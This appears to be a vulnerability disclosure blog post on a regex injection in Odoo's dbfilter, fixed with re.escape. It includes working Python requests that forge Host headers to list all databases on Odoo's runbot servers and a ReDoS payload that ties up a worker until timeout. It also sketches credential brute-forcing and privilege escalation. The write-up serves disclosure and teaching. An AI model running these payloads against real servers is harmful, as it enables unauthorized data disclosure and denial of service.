Abuse dbfilter for fun and (limited) profit

In Odoo

In this previous article, we've seen that Odoo's db filtering mechanism relies on a regex.

We will now see that, until recently, this regex could be abused in some Odoo deployments, amongst them Odoo's runbot itself.

The vulnerability: "regex injection"

%d and %h variables were directly replaced by values derived from the HOST header of the http request.

An attacker could craft a HOST header to inject arbitrary string in the regex, including special characters.

By injecting |^.*$| for example, he could completely change the behavior of the regex: any database name suddenly matched, defeating the filtering.

Exploitation on runbot

Wildcard DNS

Odoo has a wildcard DNS record configured for .+.runbot[0-9]+.odoo.com.

Let's take this runbot build as an example: http://315285-10-0-opw-1820081-refix-sig-fc659d.runbot11.odoo.com

315285-10-0-opw-1820081-refix-sig-fc659d.runbot11.odoo.com will resolve as an alias for runbot11.odoo.com.

dbfilter

The Odoo instance for this build runs with --db-filter='%d.*$'.

When we visit http://315285-10-0-opw-1820081-refix-sig-fc659d.runbot11.odoo.com, all databases matching 315285-10-0-opw-1820081-refix-sig-fc659d.*$ are listed.

Wildcard host names matching

On nginx's side, the Odoo instance running for this build is reachable by all host names matching ~^<t t-raw="re_escape(build.dest)"/>[-.].*$, here: ^315285-10-0-opw-1820081-refix-sig-fc659d[-.].*$.

So 315285-10-0-opw-1820081-refix-sig-fc659d-hello-my-name-is-brian.runbot11.odoo.com would also match for example.

But there is no database matching 315285-10-0-opw-1820081-refix-sig-fc659d-hello-my-name-is-brian.*$, so visiting http://315285-10-0-opw-1820081-refix-sig-fc659d-hello-my-name-is-brian.runbot11.odoo.com will trigger Odoo's database creation form.

Special characters

As the .* part in nginx's regex accepts any character, 315285-10-0-opw-1820081-refix-sig-fc659d-|^.*$|.runbot11.odoo.com would match as well.

But such special characters can't be part of a dns entry, so we need to:

  • connect to runbot11.odoo.com
  • manually define the HTTP Host header of the request to 315285-10-0-opw-1820081-refix-sig-fc659d-|^.*$|.runbot11.odoo.com.

This can be done with requests:

>>> import requests
>>> requests.get("http://runbot11.odoo.com", headers={'HOST':'315285-10-0-opw-1820081-refix-sig-fc659d-|^.*$|.runbot11.odoo.com'})

Listing all databases

We have combined all pieces to bypass the db filtering mechanism:

>>> r = requests.get("http://runbot11.odoo.com/web/database/manager", headers={'HOST':'315285-10-0-opw-1820081-refix-sig-fc659d-|^.*$|.runbot11.odoo.com'})
>>> from lxml import html
>>> doc = html.fromstring(r.content)
>>> dbs = [ a.get("href")[8:] for a in doc.xpath("//a[@class='list-group-item']") ]
>>> len(dbs)
148
>>> dbs[-5:]
['315388-2027-dd147e-all', '315388-2027-dd147e-base', 'admin', 'gcp-crm-demo', 'master-various-improvements-pka-pka']

The disclosed information (list of databases on the host) was not really interesting here. But in another context, we could imagine a scenario where the attacker would:

  • bruteforce the credentials of test databases, usually weaker than production ones
  • connect to these test databases
  • escalate his privileges to own the whole host.

One step further: ReDoS

There is a funny class of attacks called "Regular expression Denial of Service" (ReDoS) that consist of slowing down a program for a very long time just by leveraging a regex.

The idea is that some regex patterns introduce an exponential number of paths to go through when facing some particular inputs.

For example, if you are using this regex to validate email addresses in your application, you are vulnerable to the input value aaaaaaaaaaaaaaaaaaaaaaaa!:

>>> REGEX = '^([a-zA-Z0-9])(([\-.]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$'
>>> re.match(REGEX, 'aaaaaaaaaaaaaaaaaaaaaaaa!')
(hangs forever)

In our case, we don't control the input values: databases names that Odoo filters. But we do control the regex: so instead of looking for the value that will hang the regex, we will look for the regex that will hang for one or several of the databases names. That regex needs to have these properties:

  • (1) contains a weak pattern such as (a+)+: the possible characters in a database name being [0-9a-z\-] here, we'll use ([0-9a-z\-]+)+;
  • (2) doesn't match any of the databases names, to force the regex engine to go through all possible paths; we know that 2 databases are created for each build: -base (only base module installed) and -all (all modules installed), so a database name will always end with either base or all: let's simply exclude them: (!(all|base))

Let's try with 315285-10-0-opw-1820081-refix-sig-fc659d-all:

>>> REGEX = '^([0-9a-z\-]+)+(!(all|base))$'
>>> re.match(REGEX, '315285-10-0-opw-1820081-refix-sig-fc659d-all')
(hangs forever)

Success! But we took a particularily long database name. To get the regex hang on smaller names, let's increase the number of paths to go through:

>>> REGEX = '^(((([0-9a-z\-]+)+)+)+)+(!(all|base))$'
>>> re.match(REGEX, '315285-10-0-opw-all')
(hangs forever)

Now that we have our payload, let's use it:

> r = requests.get("http://315285-10-0-opw-1820081-refix-sig-fc659d.runbot11.odoo.com/web?db=315285-10-0-opw-1820081-refix-sig-fc659d-all", headers={'HOST':'315285-10-0-opw-1820081-refix-sig-fc659d-|^(((([0-9a-z\-]+)+)+)+)+(!(all|base))$|.runbot11.odoo.com'})
(...)
> r.text
u'<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">\n<title>500 Internal Server Error</title>\n<h1>Internal Server Error</h1>\n<p>The server encountered an internal error and was unable to complete your request.  Either the server is overloaded or there is an error in the application.</p>\n'

The request was terminated on Odoo-side after 60s because runbot builds run in multi-workers mode and default limit_time_cpu = 60 applied.

Conclusion

The issue was reported to Odoo's security team. Despite the limited impact, they decided to do a full security advisory.

The fix was trivial: use re.escape to escape %d and %h variables.

Note about OCA's dbfilter_from_header module

dbfilter_from_header contains a static/ directory. This had the unexpected effect of trigerring its inconditional loading, even when not intended to be used (not added to the server_wide_modules nor installed). So by just having it available in the addons path, an instance was directly vulnerable to ReDoS through exploitation of X-Odoo-dbfilter / X-Openerp-dbfilter header.

Full Security Advisory published here.